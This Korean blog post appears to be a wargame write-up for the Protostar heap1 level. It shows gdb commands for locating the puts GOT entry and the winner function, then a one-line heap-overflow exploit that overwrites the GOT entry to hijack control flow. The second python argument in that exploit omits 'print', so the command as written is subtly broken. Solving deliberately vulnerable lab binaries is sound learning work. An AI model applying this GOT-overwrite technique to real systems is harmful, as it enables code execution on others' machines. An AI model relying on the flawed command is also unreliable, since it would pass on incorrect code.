본문 바로가기

system

[protostar]heap1.c

반응형

strcpy함수에서 heap오버플로가 나타날 것임을 알 수 있다.

>gdb heap1

>>disas main
>>b *0x0804855a #b *main+161와 같음 #strcpy 2번째 일어나는 부분
>>r AAAA BBBB #20만큼 채워져있는 것 확인 가능
>>x 0x080483cc #puts jmp *0x8049774가 들어 있음
>>x/x 0x08049774 #0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
>>p winner #winner함수 주소 구함 #0x8048494

>./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c '\x94\x84\x04\x08'`

gdb실행해서 푼다.

마지막 실행에선 20을 채우고 put주소를 넣고, winner함수를 넣는다.

반응형

'system' 카테고리의 다른 글

[protostar]heap3.c  (0) 2020.11.17
[protostar]heap2.c  (0) 2020.11.12
[protostar]heap0  (0) 2020.11.07
[protostar]format4  (0) 2020.11.05
[protostar]format3  (0) 2020.11.05